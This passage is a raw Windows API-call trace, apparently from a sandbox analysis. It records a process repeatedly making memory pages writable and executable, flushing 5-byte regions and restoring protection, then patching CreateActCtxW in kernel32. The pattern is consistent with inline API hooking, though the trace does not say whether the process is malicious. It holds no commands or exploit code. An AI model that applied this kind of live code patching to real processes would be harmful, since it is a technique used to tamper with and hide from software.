dwSize=0x5) returned 1 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fde8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340f48, dwSize=0x5) returned 1 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341518, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341518, dwSize=0x5) returned 1 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341518, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341b8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341b8c, dwSize=0x5) returned 1 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341b8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.643] GetCurrentProcess () returned 0xffffffff [0118.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340804, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340804, dwSize=0x5) returned 1 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340804, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffdc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ffdc, dwSize=0x5) returned 1 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffdc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.644] GetCurrentProcess () returned 0xffffffff [0118.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734090c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734090c, dwSize=0x5) returned 1 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734090c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340058, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340058, dwSize=0x5) returned 1 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340058, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fff4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fff4, dwSize=0x5) returned 1 [0118.645] GetCurrentProcess () returned 0xffffffff [0118.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fff4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fac8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fac8, dwSize=0x5) returned 1 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fac8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa18, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa18, dwSize=0x5) returned 1 [0118.646] GetCurrentProcess () returned 0xffffffff [0118.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa18, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341008, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341008, dwSize=0x5) returned 1 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341008, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa30, dwSize=0x5) returned 1 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.647] GetCurrentProcess () returned 0xffffffff [0118.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa80, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa80, dwSize=0x5) returned 1 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa80, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa98, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa98, dwSize=0x5) returned 1 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa98, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.648] GetCurrentProcess () returned 0xffffffff [0118.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fb30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fb30, dwSize=0x5) returned 1 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fb30, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd3c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd3c, dwSize=0x5) returned 1 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd3c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773401b4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.649] GetCurrentProcess () returned 0xffffffff [0118.649] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773401b4, dwSize=0x5) returned 1 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773401b4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409ec, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773409ec, dwSize=0x5) returned 1 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409ec, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340a34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340a34, dwSize=0x5) returned 1 [0118.650] GetCurrentProcess () returned 0xffffffff [0118.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340a34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.651] GetCurrentProcess () returned 0xffffffff [0118.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.651] GetCurrentProcess () returned 0xffffffff [0118.651] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340b70, dwSize=0x5) returned 1 [0118.651] GetCurrentProcess () returned 0xffffffff [0118.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.651] GetCurrentProcess () returned 0xffffffff [0118.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340dfc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.652] GetCurrentProcess () returned 0xffffffff [0118.652] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340dfc, dwSize=0x5) returned 1 [0118.652] GetCurrentProcess () returned 0xffffffff [0118.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340dfc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.653] GetCurrentProcess () returned 0xffffffff [0118.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e14, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.653] GetCurrentProcess () returned 0xffffffff [0118.653] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340e14, dwSize=0x5) returned 1 [0118.653] GetCurrentProcess () returned 0xffffffff [0118.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e14, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.654] GetCurrentProcess () returned 0xffffffff [0118.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.654] GetCurrentProcess () returned 0xffffffff [0118.654] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340f60, dwSize=0x5) returned 1 [0118.654] GetCurrentProcess () returned 0xffffffff [0118.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340f60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.654] GetCurrentProcess () returned 0xffffffff [0118.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734146c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734146c, dwSize=0x5) returned 1 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734146c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341738, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341738, dwSize=0x5) returned 1 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341738, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.655] GetCurrentProcess () returned 0xffffffff [0118.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773417d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773417d0, dwSize=0x5) returned 1 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773417d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341864, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341864, dwSize=0x5) returned 1 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341864, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341a48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.656] GetCurrentProcess () returned 0xffffffff [0118.656] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341a48, dwSize=0x5) returned 1 [0118.657] GetCurrentProcess () returned 0xffffffff [0118.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341a48, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.657] GetCurrentProcess () returned 0xffffffff [0118.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341e60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.657] GetCurrentProcess () returned 0xffffffff [0118.657] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341e60, dwSize=0x5) returned 1 [0118.657] GetCurrentProcess () returned 0xffffffff [0118.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341e60, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.657] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0118.657] GetProcAddress (hModule=0x76e10000, lpProcName="CreateActCtxW") returned 0x76e29247 [0118.657] VirtualProtect (in: lpAddress=0x76e29247, dwSize=0x5, flNewProtect=0x4, lpflOldProtect=0x28f90c | out: lpflOldProtect=0x28f90c*=0x20) returned 1 [0118.658] VirtualProtect (in: lpAddress=0x76e29247, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x28f90c | out: lpflOldProtect=0x28f90c*=0x4) returned 1 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] 